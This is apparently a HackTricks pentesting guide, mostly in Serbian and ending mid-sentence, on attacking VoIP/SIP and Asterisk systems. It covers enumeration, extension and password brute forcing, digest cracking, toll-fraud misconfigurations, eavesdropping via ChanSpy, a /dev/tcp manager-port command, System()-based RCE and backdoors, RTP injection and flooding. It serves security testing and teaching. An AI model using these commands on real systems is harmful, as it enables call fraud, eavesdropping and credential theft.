# Pentesting VoIP {{#include ../../banners/hacktricks-training.md}} ## Osnovne informacije o VoIP-u Da biste počeli da učite kako VoIP funkcioniše, proverite: {{#ref}} basic-voip-protocols/ {{#endref}} ## Osnovne poruke ``` Request name Description RFC references ------------------------------------------------------------------------------------------------------ REGISTER Register a SIP user. RFC 3261 INVITE Initiate a dialog for establishing a call. RFC 3261 ACK Confirm that an entity has received. RFC 3261 BYE Signal termination of a dialog and end a call. RFC 3261 CANCEL Cancel any pending request. RFC 3261 UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311 REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515 PRACK Provisional acknowledgement. RFC 3262 SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665 NOTIFY Inform a subscriber of notifications of a new event. RFC 6665 PUBLISH Publish an event to a notification server. RFC 3903 MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428 INFO Send mid-session information that does not modify the session state. RFC 6086 OPTIONS Query the capabilities of an endpoint RFC 3261 ``` ## Response Codes **1xx—Provisional Responses** ``` 100 Trying 180 Ringing 181 Call is Being Forwarded 182 Queued 183 Session Progress 199 Early Dialog Terminated ``` **2xx—Успешни одговори** ``` 200 OK 202 Accepted 204 No Notification ``` **3xx—Odgovori o preusmeravanju** ``` 300 Multiple Choices 301 Moved Permanently 302 Moved Temporarily 305 Use Proxy 380 Alternative Service ``` **4xx—Odgovori o grešci klijenta** ``` 400 Bad Request 401 Unauthorized 402 Payment Required 403 Forbidden 404 Not Found 405 Method Not Allowed 406 Not Acceptable 407 Proxy Authentication Required 408 Request Timeout 409 Conflict 410 Gone 411 Length Required 412 Conditional Request Failed 413 Request Entity Too Large 414 Request-URI Too Long 415 Unsupported Media Type 416 Unsupported URI Scheme 417 Unknown Resource-Priority 420 Bad Extension 421 Extension Required 422 Session Interval Too Small 423 Interval Too Brief 424 Bad Location Information 425 Bad Alert Message 428 Use Identity Header 429 Provide Referrer Identity 430 Flow Failed 433 Anonymity Disallowed 436 Bad Identity-Info 437 Unsupported Certificate 438 Invalid Identity Header 439 First Hop Lacks Outbound Support 440 Max-Breadth Exceeded 469 Bad Info Package 470 Consent Needed 480 Temporarily Unavailable 481 Call/Transaction Does Not Exist 482 Loop Detected 483 Too Many Hops 484 Address Incomplete 485 Ambiguous 486 Busy Here 487 Request Terminated 488 Not Acceptable Here 489 Bad Event 491 Request Pending 493 Undecipherable 494 Security Agreement Required ``` **5xx—Odgovori o grešci servera** ``` 500 Internal Server Error 501 Not Implemented 502 Bad Gateway 503 Service Unavailable 504 Server Time-out 505 Version Not Supported 513 Message Too Large 555 Push Notification Service Not Supported 580 Precondition Failure ``` **6xx—Global Failure Responses** ``` 600 Busy Everywhere 603 Decline 604 Does Not Exist Anywhere 606 Not Acceptable 607 Unwanted 608 Rejected ``` ## VoIP Enumeration ### Telephone Numbers Jedan od prvih koraka koje Red Tim može učiniti je da potraži dostupne brojeve telefona za kontaktiranje sa kompanijom koristeći OSINT alate, Google pretrage ili skeniranje web stranica. Kada imate brojeve telefona, možete koristiti online usluge za identifikaciju operatera: - [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis&sub=phonenr) - [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) - [https://www.whitepages.com/](https://www.whitepages.com/) - [https://www.twilio.com/lookup](https://www.twilio.com/lookup) Znajući da li operater pruža VoIP usluge, možete identifikovati da li kompanija koristi VoIP... Štaviše, moguće je da kompanija nije angažovala VoIP usluge, već koristi PSTN kartice za povezivanje svog VoIP PBX-a sa tradicionalnom telefonskom mrežom. Stvari kao što su automatski odgovori sa muzikom obično ukazuju na to da se koristi VoIP. ### Google Dorks ```bash # Grandstream phones intitle:"Grandstream Device Configuration" Password intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org # Cisco Callmanager inurl:"ccmuser/logon.asp" intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button" # Cisco phones inurl:"NetworkConfiguration" cisco # Linksys phones intitle:"Sipura SPA Configuration" # Snom phones intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm # Polycom SoundPoint IP & phones intitle:"SoundPoint IP Configuration Utility - Registration" "Welcome to Polycom Web Configuration Utility" "Login as" "Password" intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm" intitle:"Polycom Login" inurl:"/login.html" intitle:"Polycom Login" -.com # Elastix intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL" # FreePBX inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration" ``` ### OSINT informacije Svaka druga OSINT enumeracija koja pomaže u identifikaciji VoIP softvera koji se koristi biće korisna za Red Team. ### Mrežna enumeracija - **`nmap`** može skenirati UDP usluge, ali zbog broja UDP usluga koje se skeniraju, veoma je spor i možda neće biti veoma tačan sa ovim vrstama usluga. ```bash sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 ``` - **`svmap`** iz SIPVicious-a (`sudo apt install sipvicious`): Pronaći će SIP usluge u naznačenoj mreži. - `svmap` je **lako blokirati** jer koristi User-Agent `friendly-scanner`, ali možete izmeniti kod iz `/usr/share/sipvicious/sipvicious` i promeniti ga. ```bash # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` - **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS skener je veoma brz skener za SIP usluge preko UDP, TCP ili TLS. Koristi više niti i može skenirati velike opsege mreža. Omogućava lako označavanje opsega portova, skeniranje i TCP i UDP, korišćenje druge metode (po defaultu će koristiti OPTIONS) i specificiranje drugačijeg User-Agent-a (i još mnogo toga). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] [!] IP/Network: 10.10.0.0/24 [!] Port range: 5060-5080 [!] Protocol: UDP, TCP, TLS [!] Method to scan: REGISTER [!] Customized User-Agent: Cisco [!] Used threads: 200 ``` - **metasploit**: ``` auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP) auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` #### Dodatna Enumeracija Mreže PBX takođe može izlagati druge mrežne usluge kao što su: - **69/UDP (TFTP)**: Ažuriranja firmvera - **80 (HTTP) / 443 (HTTPS)**: Za upravljanje uređajem putem veba - **389 (LDAP)**: Alternativa za čuvanje informacija o korisnicima - **3306 (MySQL)**: MySQL baza podataka - **5038 (Manager)**: Omogućava korišćenje Asteriska sa drugih platformi - **5222 (XMPP)**: Poruke koristeći Jabber - I drugi... ### Enumeracija Metoda Moguće je pronaći **koje metode su dostupne** za korišćenje u PBX-u koristeći `SIPPTS enumerate` iz [**sippts**](https://github.com/Pepelux/sippts) ```bash sippts enumerate -i 10.10.0.10 ``` ### Анализа одговора сервера Веома је важно анализирати хедере које сервер враћа, у зависности од типа поруке и хедера које шаљемо. Са `SIPPTS send` из [**sippts**](https://github.com/Pepelux/sippts) можемо слати персонализоване поруке, манипулишући свим хедерима, и анализирати одговор. ```bash sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp ``` Takođe je moguće dobiti podatke ako server koristi websockets. Sa `SIPPTS wssend` iz [**sippts**](https://github.com/Pepelux/sippts) možemo slati personalizovane WS poruke. ```bash sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Extension Enumeration Ekstenzije u PBX (Privatna centralna telefonska mreža) sistemu se odnose na **jedinstvene interne identifikatore dodeljene pojedinačnim** telefonskim linijama, uređajima ili korisnicima unutar organizacije ili preduzeća. Ekstenzije omogućavaju **efikasno usmeravanje poziva unutar organizacije**, bez potrebe za pojedinačnim spoljnim telefonskim brojevima za svakog korisnika ili uređaj. - **`svwar`** iz SIPVicious (`sudo apt install sipvicious`): `svwar` je besplatan SIP PBX ekstenzijski skener. U konceptu funkcioniše slično tradicionalnim wardialer-ima tako što **pogađa opseg ekstenzija ili dati spisak ekstenzija**. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` - **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifikuje ekstenzije na SIP serveru. Sipexten može proveriti velike mrežne i port opsege. ```bash sippts exten -i 10.10.0.10 -r 5060 -e 100-200 ``` - **metasploit**: Možete takođe enumerisati ekstenzije/korisnička imena sa metasploit: ``` auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` - **`enumiax` (`apt install enumiax`): enumIAX** je Inter Asterisk Exchange protokol **brute-force enumerator za korisnička imena**. enumIAX može raditi u dva različita moda; Sekvencijsko pogađanje korisničkog imena ili Napad rečnikom. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 ``` ## VoIP Napadi ### Password Brute-Force - online Nakon što su otkrili **PBX** i neke **ekstenzije/korisnička imena**, Crveni Tim može pokušati da se **autentifikuje putem `REGISTER` metode** na ekstenziji koristeći rečnik uobičajenih lozinki za brute force autentifikaciju. > [!CAUTION] > Imajte na umu da **korisničko ime** može biti isto kao ekstenzija, ali ova praksa može varirati u zavisnosti od PBX sistema, njegove konfiguracije i preferencija organizacije... > > Ako korisničko ime nije isto kao ekstenzija, moraćete da **otkrijete korisničko ime koje treba da brute-forcujete**. - **`svcrack`** iz SIPVicious (`sudo apt install sipvicious`): SVCrack vam omogućava da provalite lozinku za određeno korisničko ime/ekstenziju na PBX-u. ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` - **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack je daljinski alat za probijanje lozinki za SIP usluge. Rcrack može testirati lozinke za više korisnika na različitim IP adresama i opsezima portova. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` - **Metasploit**: - [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb) - [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb) ### VoIP Sniffing Ako pronađete VoIP opremu unutar **Open Wifi mreže**, mogli biste **snimiti sve informacije**. Štaviše, ako ste unutar zatvorenije mreže (povezani putem Ethernet-a ili zaštićene Wifi mreže) mogli biste izvesti **MitM napade kao što su** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) između **PBX-a i gateway-a** kako biste snimili informacije. Među mrežnim informacijama, mogli biste pronaći **web akreditive** za upravljanje opremom, korisničke **ekstenzije**, **korisnička imena**, **IP** adrese, čak i **hashirane lozinke** i **RTP pakete** koje biste mogli reprodukovati da **čujete razgovor**, i još mnogo toga. Da biste dobili ove informacije, mogli biste koristiti alate kao što su Wireshark, tcpdump... ali **posebno kreirani alat za snimanje VoIP razgovora je** [**ucsniff**](https://github.com/Seabreg/ucsniff). > [!CAUTION] > Imajte na umu da ako se **TLS koristi u SIP komunikaciji** nećete moći videti SIP komunikaciju u čistom obliku.\ > Isto će se desiti ako se koristi **SRTP** i **ZRTP**, **RTP paketi neće biti u čistom tekstu**. #### SIP akreditive (Brute-Force lozinke - offline) [Proverite ovaj primer da biste bolje razumeli **SIP REGISTER komunikaciju**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) da biste saznali kako se **akreditive šalju**. - **`sipdump`** & **`sipcrack`,** deo **sipcrack** (`apt-get install sipcrack`): Ovi alati mogu **izvući** iz **pcap**-a **digest autentifikacije** unutar SIP protokola i **bruteforce**-ovati ih. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` - **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump može da izvuče digest autentifikacije iz pcap datoteke. ```bash sippts dump -f capture.pcap -o data.txt ``` - **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack je alat za razbijanje digest autentifikacija dobijenih sa SIPPTS dump. ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` - **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark izvlači podatke SIP protokola iz PCAP datoteke. ```bash sippts tshark -f capture.pcap [-filter auth] ``` #### DTMF kodovi **Ne samo SIP akreditivi** mogu biti pronađeni u mrežnom saobraćaju, takođe je moguće pronaći DTMF kodove koji se koriste, na primer, za pristup **govornoj pošti**.\ Moguće je poslati ove kodove u **INFO SIP porukama**, u **zvuku** ili unutar **RTP paketa**. Ako su kodovi unutar RTP paketa, možete iseći taj deo razgovora i koristiti alat multimo da ih ekstrahujete: ```bash multimon -a DTMF -t wac pin.wav ``` ### Besplatni pozivi / Asterisks konekcije pogrešne konfiguracije U Asterisku je moguće dozvoliti konekciju **sa određene IP adrese** ili sa **bilo koje IP adrese**: ``` host=10.10.10.10 host=dynamic ``` Ako je IP adresa specificirana, host **neće morati da šalje REGISTER** zahteve s vremena na vreme (u REGISTER paketu se šalje vreme trajanja, obično 30 minuta, što znači da će u drugom scenariju telefon morati da se REGISTER-uje svake 30 minuta). Međutim, moraće da ima otvorene portove koji omogućavaju veze sa VoIP serverom za primanje poziva. Da bi se definisali korisnici, mogu se definisati kao: - **`type=user`**: Korisnik može primati pozive samo kao korisnik. - **`type=friend`**: Moguće je obavljati pozive kao peer i primati ih kao korisnik (koristi se sa ekstenzijama) - **`type=peer`**: Moguće je slati i primati pozive kao peer (SIP-trunks) Takođe je moguće uspostaviti poverenje sa nesigurnom varijablom: - **`insecure=port`**: Omogućava peer veze validirane IP-om. - **`insecure=invite`**: Ne zahteva autentifikaciju za INVITE poruke - **`insecure=port,invite`**: Oba > [!WARNING] > Kada se koristi **`type=friend`**, **vrednost** varijable **host** **neće biti korišćena**, tako da ako administrator **pogrešno konfiguriše SIP-trunk** koristeći tu vrednost, **bilo ko će moći da se poveže na njega**. > > Na primer, ova konfiguracija bi bila ranjiva:\ > `host=10.10.10.10`\ > `insecure=port,invite`\ > `type=friend` ### Besplatni pozivi / Asterisks kontekst pogrešnih konfiguracija U Asterisku, **kontekst** je imenovani kontejner ili sekcija u dijal planu koja **grupiše povezane ekstenzije, akcije i pravila**. Dijal plan je osnovna komponenta Asterisk sistema, jer definiše **kako se upravlja i usmerava dolazne i odlazne pozive**. Konteksti se koriste za organizovanje dijal plana, upravljanje kontrolom pristupa i pružanje razdvajanja između različitih delova sistema. Svaki kontekst je definisan u konfiguracionom fajlu, obično u **`extensions.conf`** fajlu. Konteksti su označeni uglastim zagradama, sa imenom konteksta unutar njih. Na primer: ```bash csharpCopy code[my_context] ``` Unutar konteksta definišete ekstenzije (uzorke biranih brojeva) i povezujete ih sa serijom akcija ili aplikacija. Ove akcije određuju kako se poziv obrađuje. Na primer: ```scss [my_context] exten => 100,1,Answer() exten => 100,n,Playback(welcome) exten => 100,n,Hangup() ``` Ovaj primer prikazuje jednostavan kontekst pod nazivom "my_context" sa ekstenzijom "100". Kada neko pozove 100, poziv će biti prihvaćen, biće puštena poruka dobrodošlice, a zatim će poziv biti prekinut. Ovo je **drugi kontekst** koji omogućava **pozivanje na bilo koji drugi broj**: ```scss [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) ``` Ako administrator definiše **podrazumevajući kontekst** kao: ``` [default] include => my_context include => external ``` > [!WARNING] > Svako će moći da koristi **server za pozivanje na bilo koji drugi broj** (a administrator servera će platiti za poziv). > [!CAUTION] > Štaviše, po defaultu, **`sip.conf`** fajl sadrži **`allowguest=true`**, tako da **bilo koji** napadač bez **autentifikacije** će moći da pozove bilo koji drugi broj. - **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite proverava da li **PBX server dozvoljava da pravimo pozive bez autentifikacije**. Ako SIP server ima pogrešnu konfiguraciju, dozvoliće nam da pravimo pozive na spoljne brojeve. Takođe može dozvoliti da prenesemo poziv na drugi spoljni broj. Na primer, ako vaš Asterisk server ima lošu konfiguraciju konteksta, možete prihvatiti INVITE zahtev bez autorizacije. U ovom slučaju, napadač može da pravi pozive bez poznavanja bilo kog korisničkog imena/lozinke. ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v # Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444. sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Besplatni pozivi / Pogrešno konfigurisani IVRS IVRS označava **Interaktivni sistem za odgovor na glas**, telekomunikacionu tehnologiju koja omogućava korisnicima da komuniciraju sa kompjuterskim sistemom putem glasovnih ili tonskih unosa. IVRS se koristi za izgradnju **automatskih sistema za upravljanje pozivima** koji nude niz funkcionalnosti, kao što su pružanje informacija, usmeravanje poziva i prikupljanje korisničkih unosa. IVRS u VoIP sistemima obično se sastoji od: 1. **Glasovnih poruka**: Prethodno snimljene audio poruke koje vode korisnike kroz IVR meni opcije i uputstva. 2. **DTMF** (Dual-Tone Multi-Frequency) signalizacija: Tonski unosi generisani pritiskanjem tastera na telefonu, koji se koriste za navigaciju kroz IVR menije i pružanje unosa. 3. **Usmeravanje poziva**: Usmeravanje poziva na odgovarajuću destinaciju, kao što su specifična odeljenja, agenti ili ekstenzije na osnovu korisničkog unosa. 4. **Prikupljanje korisničkog unosa**: Prikupljanje informacija od pozivaoca, kao što su brojevi računa, ID slučajeva ili bilo koji drugi relevantni podaci. 5. **Integracija sa spoljnim sistemima**: Povezivanje IVR sistema sa bazama podataka ili drugim softverskim sistemima za pristup ili ažuriranje informacija, izvršavanje radnji ili pokretanje događaja. U Asterisk VoIP sistemu, možete kreirati IVR koristeći dijal plan (**`extensions.conf`** datoteku) i razne aplikacije kao što su `Background()`, `Playback()`, `Read()`, i druge. Ove aplikacije vam pomažu da reprodukujete glasovne poruke, prikupite korisnički unos i kontrolišete tok poziva. #### Primer ranjive konfiguracije ```scss exten => 0,100,Read(numbers,the_call,,,,5) exten => 0,101,GotoIf("$[${numbers}"="1"]?200) exten => 0,102,GotoIf("$[${numbers}"="2"]?300) exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` Prethodni je primer gde se korisniku traži da **pritisne 1 za poziv** odeljenju, **2 za poziv** drugom, ili **potpunu internu** ako je zna.\ Ranljivost je u tome što se navedena **dužina interne ne proverava, tako da korisnik može uneti 5-sekundni vremenski limit kao kompletan broj i biće pozvan.** ### Umetanje interne Korišćenje interne kao: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` Gde je **`${EXTEN}`** **ekstenzija** koja će biti pozvana, kada se **ext 101 uvede** ovo bi se desilo: ```scss exten => 101,1,Dial(SIP/101) ``` Međutim, ako **`${EXTEN}`** omogućava unos **više od brojeva** (kao u starijim verzijama Asteriska), napadač bi mogao uneti **`101&SIP123123123`** da bi pozvao telefonski broj 123123123. I ovo bi bio rezultat: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` Zato, poziv na ekstenziju **`101`** i **`123123123`** će biti poslat i samo će prvi koji primi poziv biti uspostavljen... ali ako napadač koristi **ekstenziju koja zaobilazi bilo kakvo podudaranje** koje se vrši, ali ne postoji, mogao bi **injektovati poziv samo na željeni broj**. ## SIPDigestLeak ranjivost SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i telefonske adaptore (VoIP na analognu). Ranjivost omogućava **curenje Digest autentifikacionog odgovora**, koji se izračunava iz lozinke. **Offline napad na lozinku je tada moguć** i može povratiti većinu lozinki na osnovu izazovnog odgovora. **[Scenarijo ranjivosti odavde**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): 1. IP telefon (žrtva) sluša na bilo kojem portu (na primer: 5060), prihvatajući telefonske pozive 2. Napadač šalje INVITE IP telefonu 3. Telefon žrtve počinje da zvoni i neko podiže slušalicu i odmah je spušta (jer niko ne odgovara na telefonu na drugom kraju) 4. Kada se telefon spusti, **telefon žrtve šalje BYE napadaču** 5. **Napadač izdaje 407 odgovor** koji **traži autentifikaciju** i izdaje izazov za autentifikaciju 6. **Telefon žrtve pruža odgovor na izazov za autentifikaciju** u drugom BYE 7. **Napadač može zatim da izda brute-force napad** na izazovni odgovor na svom lokalnom računaru (ili distribuiranoj mreži itd.) i pogodi lozinku - **SIPPTS curenje** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS curenje koristi ranjivost SIP Digest Leak koja utiče na veliki broj SIP telefona. Izlaz se može sačuvati u SipCrack formatu da bi se bruteforcovao koristeći SIPPTS dcrack ili alatku SipCrack. ```bash sippts leak -i 10.10.0.10 [!] Target: 10.10.0.10:5060/UDP [!] Caller: 100 [!] Callee: 100 [=>] Request INVITE [<=] Response 100 Trying [<=] Response 180 Ringing [<=] Response 200 OK [=>] Request ACK ... waiting for BYE ... [<=] Received BYE [=>] Request 407 Proxy Authentication Required [<=] Received BYE with digest [=>] Request 200 Ok Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5 ``` ### Click2Call Click2Call omogućava **web korisniku** (koji bi, na primer, mogao biti zainteresovan za proizvod) da **unesu** svoj **telefonski broj** kako bi primili poziv. Zatim će biti pozvan komercijal, a kada **podigne slušalicu**, korisnik će biti **pozvan i povezan sa agentom**. Uobičajeni Asterisk profil za ovo je: ```scss [web_user] secret = complex_password deny = 0.0.0.0/0.0.0.0 allow = 0.0.0.0/0.0.0.0 displayconnects = yes read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` - Prethodni profil omogućava **BILO KOM IP adresi da se poveže** (ako je lozinka poznata). - Da bi se **organizovao poziv**, kao što je prethodno navedeno, **nije potrebna dozvola za čitanje** i **samo** **originate** u **pisanje** je potrebna. Sa tim dozvolama, svaka IP adresa koja zna lozinku mogla bi da se poveže i izvuče previše informacija, kao: ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 ``` **Više informacija ili akcija može biti zatraženo.** ### **Presretanje** U Asterisku je moguće koristiti komandu **`ChanSpy`** koja označava **produžetak(e) za praćenje** (ili sve njih) kako bi se čule razgovore koji se odvijaju. Ova komanda treba da bude dodeljena produžetku. Na primer, **`exten => 333,1,ChanSpy('all',qb)`** označava da ako **pozovete** **produžetak 333**, on će **pratiti** **`sve`** produžetke, **početi da sluša** kada započne novi razgovor (**`b`**) u tihom režimu (**`q`**) jer ne želimo da se uključujemo. Možete preći sa jednog razgovora na drugi pritiskom na **`*`**, ili označavanjem broja produžetka. Takođe je moguće koristiti **`ExtenSpy`** za praćenje samo jednog produžetka. Umesto slušanja razgovora, moguće je **snimati ih u fajlove** koristeći produžetak kao: ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) exten => _X.,2,MixMonitor(${NAME}) ``` Pozivi će biti sačuvani u **`/tmp`**. Takođe možete čak naterati Asterisk da **izvrši skriptu koja će otkriti poziv** kada se zatvori. ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed ranjivost **RTCPBleed** je veliki bezbednosni problem koji utiče na Asterisk-bazirane VoIP servere (objavljen 2017. godine). Ranjivost omogućava **RTP (Real Time Protocol) saobraćaju**, koji nosi VoIP razgovore, da bude **presretnut i preusmeren od strane bilo koga na Internetu**. To se dešava jer RTP saobraćaj zaobilazi autentifikaciju kada prolazi kroz NAT (Network Address Translation) vatrozid. RTP proksiji pokušavaju da reše **NAT ograničenja** koja utiču na RTC sisteme tako što proksiraju RTP tokove između dve ili više strana. Kada je NAT u upotrebi, RTP proksi softver često ne može da se oslanja na RTP IP i port informacije dobijene putem signalizacije (npr. SIP). Stoga, niz RTP proksija je implementirao mehanizam gde se takav **IP i port tuple automatski uči**. To se često radi inspekcijom dolaznog RTP saobraćaja i označavanjem izvornog IP-a i porta za bilo koji dolazni RTP saobraćaj kao onog na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "način učenja", **ne koristi nikakvu vrstu autentifikacije**. Stoga **napadači** mogu **slati RTP saobraćaj RTP proksiju** i primati proksirani RTP saobraćaj koji je namenjen pozivaocu ili onome ko prima poziv u toku RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove koji su namenjeni za legitimne korisnike. Još jedno zanimljivo ponašanje RTP proksija i RTP stekova je da ponekad, **čak i ako nisu ranjivi na RTP Bleed**, oni će **prihvatiti, proslediti i/ili obraditi RTP pakete iz bilo kojeg izvora**. Stoga napadači mogu slati RTP pakete koji im mogu omogućiti da ubace svoj medij umesto legitimnog. Ovaj napad nazivamo RTP injekcija jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može se naći i u RTP proksijima i na krajnjim tačkama. Asterisk i FreePBX su tradicionalno koristili **`NAT=yes` podešavanje**, koje omogućava RTP saobraćaju da zaobiđe autentifikaciju, što potencijalno dovodi do nedostatka zvuka ili jednosmernog zvuka na pozivima. Za više informacija proverite [https://www.rtpbleed.com/](https://www.rtpbleed.com/) - **`SIPPTS rtpbleed`** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed detektuje RTP Bleed ranjivost slanjem RTP tokova. ```bash sippts rtpbleed -i 10.10.0.10 ``` - **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed otkriva RTP Bleed ranjivost slanjem RTCP strimova. ```bash sippts rtcpbleed -i 10.10.0.10 ``` - **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood iskorišćava RTP Bleed ranjivost slanjem RTP tokova. ```bash sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v ``` - **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject iskorišćava RTP Bleed ranjivost injektujući audio fajl (WAV format). ```bash sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE U Asterisk-u na neki način uspete da **dodate pravila za ekstenzije i ponovo ih učitate** (na primer, kompromitovanjem ranjivog web menadžera), moguće je dobiti RCE koristeći **`System`** komandu. ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` Postoji komanda pod nazivom **`Shell`** koja se može koristiti **umesto `System`** za izvršavanje sistemskih komandi ako je potrebno. > [!WARNING] > Ako server **ne dozvoljava korišćenje određenih karaktera** u **`System`** komandi (kao u Elastix-u), proverite da li web server dozvoljava **kreiranje fajlova na neki način unutar sistema** (kao u Elastix-u ili trixbox-u), i iskoristite to da **napravite skriptu za backdoor** i zatim koristite **`System`** da **izvršite** tu **skriptu**. #### Zanimljivi lokalni fajlovi i dozvole - **`sip.conf`** -> Sadrži lozinku SIP korisnika. - Ako **Asterisk server radi kao root**, mogli biste kompromitovati root. - **mysql root korisnik** možda **nema lozinku**. - ovo se može iskoristiti za kreiranje novog mysql korisnika kao backdoor. - **`FreePBX`** - **`amportal.conf`** -> Sadrži lozinku administratora web panela (FreePBX). - **`FreePBX.conf`** -> Sadrži lozinku korisnika FreePBXuser koji se koristi za pristup bazi podataka. - ovo se može iskoristiti za kreiranje novog mysql korisnika kao backdoor. - **`Elastix`** - **`Elastix.conf`** -> Sadrži nekoliko lozinki u čistom tekstu kao što su mysql root lozinka, IMAPd lozinka, lozinka web administratora. - **NSeveral folderi** će pripadati kompromitovanom asterisk korisniku (ako ne radi kao root). Ovaj korisnik može čitati prethodne fajlove i takođe kontroliše konfiguraciju, tako da može naterati Asterisk da učita druge backdoored binarne fajlove kada se izvrše. ### RTP Injekcija Moguće je umetnuti **`.wav`** u razgovore koristeći alate kao što su **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`). Ili možete koristiti skripte sa [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) da **skenirate razgovore** (**`rtpscan.pl`**), pošaljete `.wav` u razgovor (**`rtpsend.pl`**) i **ubacite buku** u razgovor (**`rtpflood.pl`**). ### DoS Postoji nekoliko načina da se pokuša postići DoS na VoIP serverima. - **`SIPPTS flood`** iz [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood šalje neograničene poruke cilju. - `sippts flood -i 10.10.0.10 -m invite -v` - **`SIPPTS ping`** iz [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping pravi SIP ping da vidi vreme odgovora servera. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol koji koristi Asterisk. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Alat za 